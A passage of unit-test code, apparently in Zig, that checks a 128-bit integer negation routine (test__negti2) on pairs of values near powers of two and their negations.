try test__negti2(-633825300114114700748351602680, 633825300114114700748351602680);
try test__negti2(633825300114114700748351602680, -633825300114114700748351602680);
try test__negti2(-316912650057057350374175801343, 316912650057057350374175801343);
try test__negti2(316912650057057350374175801343, -316912650057057350374175801343);
try test__negti2(-316912650057057350374175801342, 316912650057057350374175801342);
try test__negti2(316912650057057350374175801342, -316912650057057350374175801342);
try test__negti2(-316912650057057350374175801340, 316912650057057350374175801340);
try test__negti2(316912650057057350374175801340, -316912650057057350374175801340);
try test__negti2(-316912650057057350374175801336, 316912650057057350374175801336);
try test__negti2(316912650057057350374175801336, -316912650057057350374175801336);
try test__negti2(-158456325028528675187087900671, 158456325028528675187087900671);
try test__negti2(158456325028528675187087900671, -158456325028528675187087900671);
try test__negti2(-158456325028528675187087900670, 158456325028528675187087900670);
try test__negti2(158456325028528675187087900670, -158456325028528675187087900670);
try test__negti2(-158456325028528675187087900668, 158456325028528675187087900668);
try test__negti2(158456325028528675187087900668, -158456325028528675187087900668);
try test__negti2(-158456325028528675187087900664, 158456325028528675187087900664);
try test__negti2(158456325028528675187087900664, -158456325028528675187087900664);
try test__negti2(-79228162514264337593543950335, 79228162514264337593543950335);
try test__negti2(79228162514264337593543950335, -79228162514264337593543950335);
try test__negti2(-79228162514264337593543950334, 79228162514264337593543950334);
try test__negti2(79228162514264337593543950334, -79228162514264337593543950334);
try test__negti2(-79228162514264337593543950332, 79228162514264337593543950332);
try test__negti2(79228162514264337593543950332, -79228162514264337593543950332);
try test__negti2(-79228162514264337593543950328, 79228162514264337593543950328);
try test__negti2(79228162514264337593543950328, -79228162514264337593543950328);
try test__negti2(-39614081257132168796771975167, 39614081257132168796771975167);
try test__negti2(39614081257132168796771975167, -39614081257132168796771975167);
try test__negti2(-39614081257132168796771975166, 39614081257132168796771975166);
try test__negti2(39614081257132168796771975166, -39614081257132168796771975166);
try test__negti2(-39614081257132168796771975164, 39614081257132168796771975164);
try test__negti2(39614081257132168796771975164, -39614081257132168796771975164);
try test__negti2(-39614081257132168796771975160, 39614081257132168796771975160);
try test__negti2(39614081257132168796771975160, -39614081257132168796771975160);
try test__negti2(-19807040628566084398385987583, 19807040628566084398385987583);
try test__negti2(19807040628566084398385987583, -19807040628566084398385987583);
try test__negti2(-19807040628566084398385987582, 19807040628566084398385987582);
try test__negti2(19807040628566084398385987582, -19807040628566084398385987582);
try test__negti2(-19807040628566084398385987580, 19807040628566084398385987580);
try test__negti2(19807040628566084398385987580, -19807040628566084398385987580);
try test__negti2(-19807040628566084398385987576, 19807040628566084398385987576);
try test__negti2(19807040628566084398385987576, -19807040628566084398385987576);
try test__negti2(-9903520314283042199192993791, 9903520314283042199192993791);
try test__negti2(9903520314283042199192993791, -9903520314283042199192993791);
try test__negti2(-9903520314283042199192993790, 9903520314283042199192993790);
try test__negti2(9903520314283042199192993790, -9903520314283042199192993790);
try test__negti2(-9903520314283042199192993788, 9903520314283042199192993788);
try test__negti2(9903520314283042199192993788, -9903520314283042199192993788);
try test__negti2(-9903520314283042199192993784, 9903520314283042199192993784);
try test__negti2(9903520314283042199192993784, -9903520314283042199192993784);
try test__negti2(-4951760157141521099596496895, 4951760157141521099596496895);
try test__negti2(4951760157141521099596496895, -4951760157141521099596496895);
try test__negti2(-4951760157141521099596496894, 4951760157141521099596496894);
try test__negti2(4951760157141521099596496894, -4951760157141521099596496894);
try test__negti2(-4951760157141521099596496892, 4951760157141521099596496892);
try test__negti2(4951760157141521099596496892, -4951760157141521099596496892);
try test__negti2(-4951760157141521099596496888, 4951760157141521099596496888);
try test__negti2(4951760157141521099596496888, -4951760157141521099596496888);
try test__negti2(-2475880078570760549798248447, 2475880078570760549798248447);
try test__negti2(2475880078570760549798248447, -2475880078570760549798248447);
try test__negti2(-2475880078570760549798248446, 2475880078570760549798248446);
try test__negti2(2475880078570760549798248446, -2475880078570760549798248446);
try test__negti2(-2475880078570760549798248444, 2475880078570760549798248444);
try test__negti2(2475880078570760549798248444, -2475880078570760549798248444);
try test__negti2(-2475880078570760549798248440, 2475880078570760549798248440);
try test__negti2(2475880078570760549798248440, -2475880078570760549798248440);
try test__negti2(-1237940039285380274899124223, 1237940039285380274899124223);
try test__negti2(1237940039285380274899124223, -1237940039285380274899124223);
try test__negti2(-1237940039285380274899124222, 1237940039285380274899124222);
try test__negti2(1237940039285380274899124222, -1237940039285380274899124222);
try test__negti2(-1237940039285380274899124220, 1237940039285380274899124220);
try test__negti2(1237940039285380274899124220, -1237940039285380274899124220);
try test__negti2(-1237940039285380274899124216, 1237940039285380274899124216);
try test__negti2(1237940039285380274899124216, -1237940039285380274899124216);
try test__negti2(-618970019642690137449562111, 618970019642690137449562111);
try test__negti2(618970019642690137449562111, -618970019642690137449562111);
try test__negti2(-618970019642690137449562110, 618970019642690137449562110);
try test__negti2(618970019642690137449562110, -618970019642690137449562110);
try test__negti2(-618970019642690137449562108, 618970019642690137449562108);
try test__negti2(618970019642690137449562108, -618970019642690137449562108);
try test__negti2(-618970019642690137449562104, 618970019642690137449562104);
try test__negti2(618970019642690137449562104, -618970019642690137449562104);
try test__negti2(-309485009821345068724781055, 309485009821345068724781055);
try test__negti2(309485009821345068724781055, -309485009821345068724781055);
try test__negti2(-309485009821345068724781054, 309485009821345068724781054);
try test__negti2(309485009821345068724781054, -309485009821345068724781054);
try test__negti2(-309485009821345068724781052, 309485009821345068724781052);
try test__negti2(309485009821345068724781052, -309485009821345068724781052);
try test__negti2(-309485009821345068724781048, 309485009821345068724781048);
try test__negti2(309485009821345068724781048, -309485009821345068724781048);
try test__negti2(-154742504910672534362390527, 154742504910672534362390527);
try test__negti2(154742504910672534362390527, -154742504910672534362390527);
try test__negti2(-154742504910672534362390526, 154742504910672534362390526);
try test__negti2(154742504910672534362390526, -154742504910672534362390526);
try test__negti2(-154742504910672534362390524, 154742504910672534362390524);
try test__negti2(154742504910672534362390524, -154742504910672534362390524);
try test__negti2(-154742504910672534362390520, 154742504910672534362390520);
try test__negti2(154742504910672534362390520, -154742504910672534362390520);
try test__negti2(-77371252455336267181195263, 77371252455336267181195263);
try test__negti2(77371252455336267181195263, -77371252455336267181195263);
try test__negti2(-77371252455336267181195262, 77371252455336267181195262);
try test__negti2(77371252455336267181195262, -77371252455336267181195262);
try test__negti2(-77371252455336267181195260, 77371252455336267181195260);
try test__negti2(77371252455336267181195260, -77371252455336267181195260);
try test__negti2(-77371252455336267181195256, 77371252455336267181195256);
try test__negti2(77371252455336267181195256, -77371252455336267181195256);
try test__negti2(-38685626227668133590597631, 38685626227668133590597631);
try test__negti2(38685626227668133590597631, -38685626227668133590597631);
try test__negti2(-38685626227668133590597630, 38685626227668133590597630);
try test__negti2(38685626227668133590597630, -38685626227668133590597630);
try test__negti2(-38685626227668133590597628, 38685626227668133590597628);
try test__negti2(38685626227668133590597628, -38685626227668133590597628);
try test__negti2(-38685626227668133590597624, 38685626227668133590597624);
try test__negti2(38685626227668133590597624, -38685626227668133590597624);
try test__negti2(-19342813113834066795298815, 19342813113834066795298815);
try test__negti2(19342813113834066795298815, -19342813113834066795298815);
try test__negti2(-19342813113834066795298814, 19342813113834066795298814);
try test__negti2(19342813113834066795298814, -19342813113834066795298814);
try test__negti2(-19342813113834066795298812, 19342813113834066795298812);
try test__negti2(19342813113834066795298812, -19342813113834066795298812);
try test__negti2(-19342813113834066795298808, 19342813113834066795298808);
try test__negti2(19342813113834066795298808, -19342813113834066795298808);
try test__negti2(-9671406556917033397649407, 9671406556917033397649407);
try test__negti2(9671406556917033397649407, -9671406556917033397649407);
try test__negti2(-9671406556917033397649406, 9671406556917033397649406);
try test__negti2(9671406556917033397649406, -9671406556917033397649406);
try test__negti2(-9671406556917033397649404, 9671406556917033397649404);
try test__negti2(9671406556917033397649404, -9671406556917033397649404);
try test__negti2(-9671406556917033397649400, 9671406556917033397649400);
try test__negti2(9671406556917033397649400, -9671406556917033397649400);
try test__negti2(-4835703278458516698824703, 4835703278458516698824703);
try test__negti2(4835703278458516698824703, -4835703278458516698824703);
try test__negti2(-4835703278458516698824702, 4835703278458516698824702);
try test__negti2(4835703278458516698824702, -4835703278458516698824702);
try test__negti2(-4835703278458516698824700, 4835703278458516698824700);
try test__negti2(4835703278458516698824700, -4835703278458516698824700);
try test__negti2(-4835703278458516698824696, 4835703278458516698824696);
try test__negti2(4835703278458516698824696, -4835703278458516698824696);
try test__negti2(-2417851639229258349412351, 2417851639229258349412351);
try test__negti2(2417851639229258349412351, -2417851639229258349412351);
try test__negti2(-2417851639229258349412350, 2417851639229258349412350);
try test__negti2(2417851639229258349412350, -2417851639229258349412350);
try test__negti2(-2417851639229258349412348, 2417851639229258349412348);
try test__negti2(2417851639229258349412348, -2417851639229258349412348);
try test__negti2(-2417851639229258349412344, 2417851639229258349412344);
try test__negti2(2417851639229258349412344, -2417851639229258349412344);
try test__negti2(-1208925819614629174706175, 1208925819614629174706175);
try test__negti2(1208925819614629174706175, -1208925819614629174706175);
try test__negti2(-1208925819614629174706174, 1208925819614629174706174);
try test__negti2(1208925819614629174706174, -1208925819614629174706174);
try test__negti2(-1208925819614629174706172, 1208925819614629174706172);
try test__negti2(1208925819614629174706172, -1208925819614629174706172);
try test__negti2(-1208925819614629174706168, 1208925819614629174706168);
try test__negti2(1208925819614629174706168, -1208925819614629174706168);
try test__negti2(-604462909807314587353087, 604462909807314587353087);
try test__negti2(604462909807314587353087, -604462909807314587353087);
try test__negti2(-604462909807314587353086, 604462909807314587353086);
try test__negti2(604462909807314587353086, -604462909807314587353086);
try test__negti2(-604462909807314587353084, 604462909807314587353084);
try test__negti2(604462909807314587353084, -604462909807314587353084);
try test__negti2(-604462909807314587353080, 604462909807314587353080);
try test__negti2(604462909807314587353080, -604462909807314587353080);
try test__negti2(-302231454903657293676543, 302231454903657293676543);
try test__negti2(302231454903657293676543, -302231454903657293676543);
try test__negti2(-302231454903657293676542, 302231454903657293676542);
try test__negti2(302231454903657293676542, -302231454903657293676542);
try test__negti2(-302231454903657293676540, 302231454903657293676540);
try test__negti2(302231454903657293676540, -302231454903657293676540);
try test__negti2(-302231454903657293676536, 302231454903657293676536);
try test__negti2(302231454903657293676536, -302231454903657293676536);
try test__negti2(-151115727451828646838271, 151115727451828646838271);
try test__negti2(151115727451828646838271, -151115727451828646838271);
try test__negti2(-151115727451828646838270, 151115727451828646838270);
try test__negti2(151115727451828646838270, -151115727451828646838270);
try test__negti2(-151115727451828646838268, 151115727451828646838268);
try test__negti2(151115727451828646838268, -151115727451828646838268);
try test__negti2(-151115727451828646838264, 151115727451828646838264);
try test__negti2(151115727451828646838264, -151115727451828646838264);
try test__negti2(-75557863725914323419135, 75557863725914323419135);
try test__negti2(75557863725914323419135, -75557863725914323419135);
try test__negti2(-75557863725914323419134, 75557863725914323419134);
try test__negti2(75557863725914323419134, -75557863725914323419134);
try test__negti2(-75557863725914323419132, 75557863725914323419132);
try test__negti2(75557863725914323419132, -75557863725914323419132);
try test__negti2(-75557863725914323419128, 75557863725914323419128);
try test__negti2(75557863725914323419128, -75557863725914323419128);
try test__negti2(-37778931862957161709567, 37778931862957161709567);
try test__negti2(37778931862957161709567, -37778931862957161709567);
try test__negti2(-37778931862957161709566, 37778931862957161709566);
try test__negti2(37778931862957161709566, -37778931862957161709566);
try test__negti2(-37778931862957161709564, 37778931862957161709564);
try test__negti2(37778931862957161709564, -37778931862957161709564);
try test__negti2(-37778931862957161709560, 37778931862957161709560);
try test__negti2(37778931862957161709560, -37778931862957161709560);
try test__negti2(-18889465931478580854783, 18889465931478580854783);
try test__negti2(18889465931478580854783, -18889465931478580854783);
try test__negti2(-18889465931478580854782, 18889465931478580854782);
try test__negti2(18889465931478580854782, -18889465931478580854782);
try test__negti2(-18889465931478580854780, 18889465931478580854780);
try test__negti2(18889465931478580854780, -18889465931478580854780);
try test__negti2(-18889465931478580854776, 18889465931478580854776);
try test__negti2(18889465931478580854776, -18889465931478580854776);
try test__negti2(-9444732965739290427391, 9444732965739290427391);
try test__negti2(9444732965739290427391, -9444732965739290427391);
try test__negti2(-9444732965739290427390, 9444732965739290427390);
try test__negti2(9444732965739290427390, -9444732965739290427390);
try test__negti2(-9444732965739290427388, 9444732965739290427388);
try test__negti2(9444732965739290427388, -9444732965739290427388);
try test__negti2(-9444732965739290427384, 9444732965739290427384);
try test__negti2(9444732965739290427384, -9444732965739290427384);
try test__negti2(-4722366482869645213695, 4722366482869645213695);
try test__negti2(4722366482869645213695, -4722366482869645213695);
try test__negti2(-4722366482869645213694, 4722366482869645213694);
try test__negti2(4722366482869645213694, -4722366482869645213694);
try test__negti2(-4722366482869645213692, 4722366482869645213692);
try test__negti2(4722366482869645213692, -4722366482869645213692);
try test__negti2(-4722366482869645213688, 4722366482869645213688);
try test__negti2(4722366482869645213688, -4722366482869645213688);
try test__negti2(-2361183241434822606847, 2361183241434822606847);
try test__negti2(2361183241434822606847, -2361183241434822606847);
try test__negti2(-2361183241434822606846, 2361183241434822606846);
try test__negti2(2361183241434822606846, -2361183241434822606846);
try test__negti2(-2361183241434822606844, 2361183241434822606844);
try test__negti2(2361183241434822606844, -2361183241434822606844);
try test__negti2(-2361183241434822606840, 2361183241434822606840);
try test__negti2(2361183241434822606840, -2361183241434822606840);
try test__negti2(-1180591620717411303423, 1180591620717411303423);
try test__negti2(1180591620717411303423, -1180591620717411303423);
try test__negti2(-1180591620717411303422, 1180591620717411303422);
try test__negti2(1180591620717411303422, -1180591620717411303422);
try test__negti2(-1180591620717411303420, 1180591620717411303420);
try test__negti2(1180591620717411303420, -1180591620717411303420);
try test__negti2(-1180591620717411303416, 1180591620717411303416);
try test__negti2(1180591620717411303416, -1180591620717411303416);
try test__negti2(-590295810358705651711, 590295810358705651711);
try test__negti2(590295810358705651711, -590295810358705651711);
try test__negti2(-590295810358705651710, 590295810358705651710);
try test__negti2(590295810358705651710, -590295810358705651710);
try test__negti2(-590295810358705651708, 590295810358705651708);
try test__negti2(590295810358705651708, -590295810358705651708);
try test__negti2(-590295810358705651704, 590295810358705651704);
try test__negti2(590295810358705651704, -590295810358705651704);
try test__negti2(-295147905179352825855, 295147905179352825855);
try test__negti2(295147905179352825855, -295147905179352825855);
try test__negti2(-295147905179352825854, 295147905179352825854);
try test__negti2(295147905179352825854, -295147905179352825854);
try test__negti2(-295147905179352825852, 295147905179352825852);
try test__negti2(295147905179352825852, -295147905179352825852);
try test__negti2(-295147905179352825848, 295147905179352825848);
try test__negti2(295147905179352825848, -295147905179352825848);
try test__negti2(-147573952589676412927, 147573952589676412927);
try test__negti2(147573952589676412927, -147573952589676412927);
try test__negti2(-147573952589676412926, 147573952589676412926);
try test__negti2(147573952589676412926, -147573952589676412926);
try test__negti2(-147573952589676412924, 147573952589676412924);
try test__negti2(147573952589676412924, -147573952589676412924);
try test__negti2(-147573952589676412920, 147573952589676412920);
try test__negti2(147573952589676412920, -147573952589676412920);
try test__negti2(-73786976294838206463, 73786976294838206463);
try test__negti2(73786976294838206463, -73786976294838206463);
try test__negti2(-73786976294838206462, 73786976294838206462);
try test__negti2(73786976294838206462, -73786976294838206462);
try test__negti2(-73786976294838206460, 73786976294838206460);
try test__negti2(73786976294838206460, -73786976294838206460);
try test__negti2(-73786976294838206456, 73786976294838206456);
try test__negti2(73786976294838206456, -73786976294838206456);
try test__negti2(-36893488147419103231, 36893488147419103231);
try test__negti2(36893488147419103231, -36893488147419103231);
try test__negti2(-36893488147419103230, 36893488147419103230);
try test__negti2(36893488147419103230, -36893488147419103230);
try test__negti2(-36893488147419103228, 36893488147419103228);
try test__negti2(36893488147419103228, -36893488147419103228);
try test__negti2(-36893488147419103224, 36893488147419103224);
try test__negti2(36893488147419103224, -36893488147419103224);
try test__negti2(-18446744073709551615, 18446744073709551615);
try test__negti2(18446744073709551615, -18446744073709551615);
try test__negti2(-18446744073709551614, 18446744073709551614);
try test__negti2(18446744073709551614, -18446744073709551614);
try test__negti2(-18446744073709551612, 18446744073709551612);
try test__negti2(18446744073709551612, -18446744073709551612);
try test__negti2(-18446744073709551608, 18446744073709551608);
try test__negti2(18446744073709551608, -18446744073709551608);
try test__negti2(-9223372036854775807, 9223372036854775807);
try test__negti2(9223372036854775807, -9223372036854775807);
try test__negti2(-9223372036854775806, 9223372036854775806);
try test__negti2(9223372036854775806, -9223372036854775806);
try test__negti2(-9223372036854775804, 9223372036854775804);
try test__negti2(9223372036854775804, -9223372036854775804);
try test__negti2(-9223372036854775800, 9223372036854775800);
try test__negti2(9223372036854775800, -9223372036854775800);
try test__negti2(-4611686018427387903, 4611686018427387903);
try test__negti2(4611686018427387903, -4611686018427387903);
try test__negti2(-4611686018427387902, 4611686018427387902);
try test__negti2(4611686018427387902, -4611686018427387902);
try test__negti2(-4611686018427387900, 4611686018427387900);
try test__negti2(4611686018427387900, -4611686018427387900);
try test__negti2(-4611686018427387896, 4611686018427387896);
try test__negti2(4611686018427387896, -4611686018427387896);
try test__negti2(-2305843009213693951, 2305843009213693951);
try test__negti2(2305843009213693951, -2305843009213693951);
try test__negti2(-2305843009213693950, 2305843009213693950);
try test__negti2(2305843009213693950, -2305843009213693950);
try test__negti2(-2305843009213693948, 2305843009213693948);
try test__negti2(2305843009213693948, -2305843009213693948);
try test__negti2(-2305843009213693944, 2305843009213693944);
try test__negti2(2305843009213693944, -2305843009213693944);
try test__negti2(-1152921504606846975, 1152921504606846975);
try test__negti2(1152921504606846975, -1152921504606846975);
try test__negti2(-1152921504606846974, 1152921504606846974);
try test__negti2(1152921504606846974, -1152921504606846974);
try test__negti2(-1152921504606846972, 1152921504606846972);
try test__negti2(1152921504606846972, -1152921504606846972);
try test__negti2(-1152921504606846968, 1152921504606846968);
try test__negti2(1152921504606846968, -1152921504606846968);
try test__negti2(-576460752303423487, 576460752303423487);
try test__negti2(576460752303423487, -576460752303423487);
try test__negti2(-576460752303423486, 576460752303423486);
try test__negti2(576460752303423486, -576460752303423486);
try test__negti2(-576460752303423484, 576460752303423484);
try test__negti2(576460752303423484, -576460752303423484);
try test__negti2(-576460752303423480, 576460752303423480);
try test__negti2(576460752303423480, -576460752303423480);
try test__negti2(-288230376151711743, 288230376151711743);
try test__negti2(288230376151711743, -288230376151711743);
try test__negti2(-288230376151711742, 288230376151711742);
try test__negti2(288230376151711742, -288230376151711742);
try test__negti2(-288230376151711740, 288230376151711740);
try test__negti2(288230376151711740, -288230376151711740);
try test__negti2(-288230376151711736, 288230376151711736);
try test__negti2(288230376151711736, -288230376151711736);
try test__negti2(-144115188075855871, 144115188075855871);
try test__negti2(144115188075855871, -144115188075855871);
try test__negti2(-144115188075855870, 144115188075855870);
try test__negti2(144115188075855870, -144115188075855870);
try test__negti2(-144115188075855868, 144115188075855868);
try test__negti2(144115188075855868, -144115188075855868);
try test__negti2(-144115188075855864, 144115188075855864);
try test__negti2(144115188075855864, -144115188075855864);
try test__negti2(-72057594037927935, 72057594037927935);
try test__negti2(72057594037927935, -72057594037927935);
try test__negti2(-72057594037927934, 72057594037927934);
try test__negti2(72057594037927934, -72057594037927934);
try test__negti2(-72057594037927932, 72057594037927932);
try test__negti2(72057594037927932, -72057594037927932);
try test__negti2(-72057594037927928, 72057594037927928);
try test__negti2(72057594037927928, -72057594037927928);
try test__negti2(-36028797018963967, 36028797018963967);
try test__negti2(36028797018963967, -36028797018963967);
try test__negti2(-36028797018963966, 36028797018963966);
try test__negti2(36028797018963966, -36028797018963966);
try test__negti2(-36028797018963964, 36028797018963964);
try test__negti2(36028797018963964, -36028797018963964);
try test__negti2(-36028797018963960, 36028797018963960);
try test__negti2(36028797018963960, -36028797018963960);
try test__negti2(-18014398509481983, 18014398509481983);
try test__negti2(18014398509481983, -18014398509481983);
try test__negti2(-18014398509481982, 18014398509481982);
try test__negti2(18014398509481982, -18014398509481982);
try test__negti2(-18014398509481980, 18014398509481980);
try test__negti2(18014398509481980, -18014398509481980);
try test__negti2(-18014398509481976, 18014398509481976);
try test__negti2(18014398509481976, -18014398509481976);
try test__negti2(-9007199254740991, 9007199254740991);
try test__negti2(9007199254740991, -9007199254740991);
try test__negti2(-9007199254740990, 9007199254740990);
try test__negti2(9007199254740990, -9007199254740990);
try test__negti2(-9007199254740988, 9007199254740988);
try test__negti2(9007199254740988, -9007199254740988);
try test__negti2(-9007199254740984, 9007199254740984);
try test__negti2(9007199254740984, -9007199254740984);
try test__negti2(-4503599627370495, 4503599627370495);
try test__negti2(4503599627370495, -4503599627370495);
try test__negti2(-4503599627370494, 4503599627370494);
try test__negti2(4503599627370494, -4503599627370494);
try test__negti2(-4503599627370492, 4503599627370492);
try test__negti2(4503599627370492, -4503599627370492);
try test__negti2(-4503599627370488, 4503599627370488);
try test__negti2(4503599627370488, -4503599627370488);
try test__negti2(-2251799813685247, 2251799813685247);
try test__negti2(2251799813685247, -2251799813685247);
try test__negti2(-2251799813685246, 2251799813685246);
try test__negti2(2251799813685246, -2251799813685246);
try test__negti2(-2251799813685244, 2251799813685244);
try test__negti2(2251799813685244, -2251799813685244);
try test__negti2(-2251799813685240, 2251799813685240);
try test__negti2(2251799813685240, -2251799813685240);
try test__negti2(-1125899906842623, 1125899906842623);
try test__negti2(1125899906842623, -1125899906842623);
try test__negti2(-1125899906842622, 1125899906842622);
try test__negti2(1125899906842622, -1125899906842622);
try test__negti2(-1125899906842620, 1125899906842620);
try test__negti2(1125899906842620, -1125899906842620);
try test__negti2(-1125899906842616, 1125899906842616);
try test__negti2(1125899906842616, -1125899906842616);
try test__negti2(-562949953421311, 562949953421311);
try test__negti2(562949953421311, -562949953421311);
try test__negti2(-562949953421310, 562949953421310);
try test__negti2(562949953421310, -562949953421310);
try test__negti2(-562949953421308, 562949953421308);
try test__negti2(562949953421308, -562949953421308);
try test__negti2(-562949953421304, 562949953421304);
try test__negti2(562949953421304, -562949953421304);
try test__negti2(-281474976710655, 281474976710655);
try test__negti2(281474976710655, -281474976710655);
try test__negti2(-281474976710654, 281474976710654);
try test__negti2(281474976710654, -281474976710654);
try test__negti2(-281474976710652, 281474976710652);
try test__negti2(281474976710652, -281474976710652);
try test__negti2(-281474976710648, 281474976710648);
try test__negti2(281474976710648, -281474976710648);
try test__negti2(-140737488355327, 140737488355327);
try test__negti2(140737488355327, -140737488355327);
try test__negti2(-140737488355326, 140737488355326);
try test__negti2(140737488355326, -140737488355326);
try test__negti2(-140737488355324, 140737488355324);
try test__negti2(140737488355324, -140737488355324);
try test__negti2(-140737488355320, 140737488355320);
try test__negti2(140737488355320, -140737488355320);
try test__negti2(-70368744177663, 70368744177663);
try test__negti2(70368744177663, -70368744177663);
try test__negti2(-70368744177662, 70368744177662);
try test__negti2(70368744177662, -70368744177662);
try test__negti2(-70368744177660, 70368744177660);
try test__negti2(70368744177660, -70368744177660);
try test__negti2(-70368744177656, 70368744177656);
try test__negti2(70368744177656, -70368744177656);
try test__negti2(-35184372088831, 35184372088831);
try test__negti2(35184372088831, -35184372088831);
try test__negti2(-35184372088830, 35184372088830);
try test__negti2(35184372088830, -35184372088830);
try test__negti2(-35184372088828, 35184372088828);
try test__negti2(35184372088828, -35184372088828);
try test__negti2(-35184372088824, 35184372088824);
try test__negti2(35184372088824, -35184372088824);
try test__negti2(-17592186044415, 17592186044415);
try test__negti2(17592186044415, -17592186044415);
try test__negti2(-17592186044414, 17592186044414);
try test__negti2(17592186044414, -17592186044414);
try test__negti2(-17592186044412, 17592186044412);
try test__negti2(17592186044412, -17592186044412);
try test__negti2(-17592186044408, 17592186044408);
try test__negti2(17592186044408, -17592186044408);
try test__negti2(-8796093022207, 8796093022207);
try test__negti2(8796093022207, -8796093022207);
try test__negti2(-8796093022206, 8796093022206);
try test__negti2(8796093022206, -8796093022206);
try test__negti2(-8796093022204, 8796093022204);
try test__negti2(8796093022204, -8796093022204);
try test__negti2(-8796093022200, 8796093022200);
try test__negti2(8796093022200, -8796093022200);
try test__negti2(-4398046511103, 4398046511103);
try test__negti2(4398046511103, -4398046511103);
try test__negti2(-4398046511102, 4398046511102);
try test__negti2(4398046511102, -4398046511102);
try test__negti2(-4398046511100, 4398046511100);
try test__negti2(4398046511100, -4398046511100);
try test__negti2(-4398046511096, 4398046511096);
try test__negti2(4398046511096, -4398046511096);
try test__negti2(-2199023255551, 2199023255551);
try test__negti2(2199023255551, -2199023255551);
try test__negti2(-2199023255550, 2199023255550);
try test__negti2(2199023255550, -2199023255550);
try test__negti2(-2199023255548, 2199023255548);
try test__negti2(2199023255548, -2199023255548);
try test__negti2(-2199023255544, 2199023255544);
try test__negti2(2199023255544, -2199023255544);
try test__negti2(-1099511627775, 1099511627775);
try test__negti2(1099511627775, -1099511627775);
try test__negti2(-1099511627774, 1099511627774);
try test__negti2(1099511627774, -1099511627774);
try test__negti2(-1099511627772, 1099511627772);
try test__negti2(1099511627772, -1099511627772);
try test__negti2(-1099511627768, 1099511627768);
try test__negti2(1099511627768, -1099511627768);
try test__negti2(-549755813887, 549755813887);
try test__negti2(549755813887, -549755813887);
try test__negti2(-549755813886, 549755813886);
try test__negti2(549755813886, -549755813886);
try test__negti2(-549755813884, 549755813884);
try test__negti2(549755813884, -549755813884);
try test__negti2(-549755813880, 549755813880);
try test__negti2(549755813880, -549755813880);
try test__negti2(-274877906943, 274877906943);
try test__negti2(274877906943, -274877906943);
try test__negti2(-274877906942, 274877906942);
try test__negti2(274877906942, -274877906942);
try test__negti2(-274877906940, 274877906940);
try test__negti2(274877906940, -274877906940);
try test__negti2(-274877906936, 274877906936);
try test__negti2(274877906936, -274877906936);
try test__negti2(-137438953471, 137438953471);
try test__negti2(137438953471, -137438953471);
try test__negti2(-137438953470, 137438953470);
try test__negti2(137438953470, -137438953470);
try test__negti2(-137438953468, 137438953468);
try test__negti2(137438953468, -137438953468);
try test__negti2(-137438953464, 137438953464);
try test__negti2(137438953464, -137438953464);
try test__negti2(-68719476735, 68719476735);
try test__negti2(68719476735, -68719476735);
try test__negti2(-68719476734, 68719476734);
try test__negti2(68719476734, -68719476734);
try test__negti2(-68719476732, 68719476732);
try test__negti2(68719476732, -68719476732);
try test__negti2(-68719476728, 68719476728);
try test__negti2(68719476728, -68719476728);
try test__negti2(-34359738367, 34359738367);
try test__negti2(34359738367, -34359738367);
try test__negti2(-34359738366, 34359738366);
try test__negti2(34359738366, -34359738366);
try test__negti2(-34359738364, 34359738364);
try test__negti2(34359738364, -34359738364);
try test__negti2(-34359738360, 34359738360);
try test__negti2(34359738360, -34359738360);
try test__negti2(-17179869183, 17179869183);
try test__negti2(17179869183, -17179869183);
try test__negti2(-17179869182, 17179869182);
try test__negti2(17179869182, -17179869182);
try test__negti2(-17179869180, 17179869180);
try test__negti2(17179869180, -17179869180);
try test__negti2(-17179869176, 17179869176);
try test__negti2(17179869176, -17179869176);
try test__negti2(-8589934591, 8589934591);
try test__negti2(8589934591, -8589934591);
try test__negti2(-8589934590, 8589934590);
try test__negti2(8589934590, -8589934590);
try test__negti2(-8589934588, 8589934588);
try test__negti2(8589934588, -8589934588);
try test__negti2(-8589934584, 8589934584);
try test__negti2(8589934584, -8589934584);
try test__negti2(-4294967295, 4294967295);
try test__negti2(4294967295, -4294967295);
try test__negti2(-4294967294, 4294967294);
try test__negti2(4294967294, -4294967294);
try test__negti2(-4294967292, 4294967292);
try test__negti2(4294967292, -4294967292);
try test__negti2(-4294967288, 4294967288);
try test__negti2(4294967288, -4294967288);
try test__negti2(-2147483647, 2147483647);
try test__negti2(2147483647, -2147483647);
try test__negti2(-2147483646, 2147483646);
try test__negti2(2147483646, -2147483646);
try test__negti2(-2147483644, 2147483644);
try test__negti2(2147483644, -2147483644);
try test__negti2(-2147483640, 2147483640);
try test__negti2(2147483640, -2147483640);
try test__negti2(-1073741823, 1073741823);
try test__negti2(1073741823, -1073741823);
try test__negti2(-1073741822, 1073741822);
try test__negti2(1073741822, -1073741822);
try test__negti2(-1073741820, 1073741820);
try test__negti2(1073741820, -1073741820);
try test__negti2(-1073741816, 1073741816);
try test__negti2(1073741816, -1073741816);
try test__negti2(-536870911, 536870911);
try test__negti2(536870911, -536870911);
try test__negti2(-536870910, 536870910);
try test__negti2(536870910, -536870910);
try test__negti2(-536870908, 536870908);
try test__negti2(536870908, -536870908);
try test__negti2(-536870904, 536870904);
try test__negti2(536870904, -536870904);
try test__negti2(-268435455, 268435455);
try test__negti2(268435455, -268435455);
try test__negti2(-268435454, 268435454);
try test__negti2(268435454, -268435454);
try test__negti2(-268435452, 268435452);
try test__negti2(268435452, -268435452);
try test__negti2(-268435448, 268435448);
try test__negti2(268435448, -268435448);
try test__negti2(-134217727, 134217727);
try test__negti2(134217727, -134217727);
try test__negti2(-134217726, 134217726);
try test__negti2(134217726, -134217726);
try test__negti2(-134217724, 134217724);
try test__negti2(134217724, -134217724);
try test__negti2(-134217720, 134217720);
try test__negti2(134217720, -134217720);
try test__negti2(-67108863, 67108863);
try test__negti2(67108863, -67108863);
try test__negti2(-67108862, 67108862);
try test__negti2(67108862, -67108862);
try test__negti2(-67108860, 67108860);
try test__negti2(67108860, -67108860);
try test__negti2(-67108856, 67108856);
try test__negti2(67108856, -67108856);
try test__negti2(-33554431, 33554431);
try test__negti2(33554431, -33554431);
try test__negti2(-33554430, 33554430);
try test__negti2(33554430, -33554430);
try test__negti2(-33554428, 33554428);
try test__negti2(33554428, -33554428);
try test__negti2(-33554424, 33554424);
try test__negti2(33554424, -33554424);
try test__negti2(-16777215, 16777215);
try test__negti2(16777215, -16777215);
try test__negti2(-16777214, 16777214);
try test__negti2(16777214, -16777214);
try test__negti2(-16777212, 16777212);
try test__negti2(16777212, -16777212);
try test__negti2(-16777208, 16777208);
try test__negti2(16777208, -16777208);
try test__negti2(-8388607, 8388607);
try test__negti2(8388607, -8388607);
try test__negti2(-8388606, 8388606);
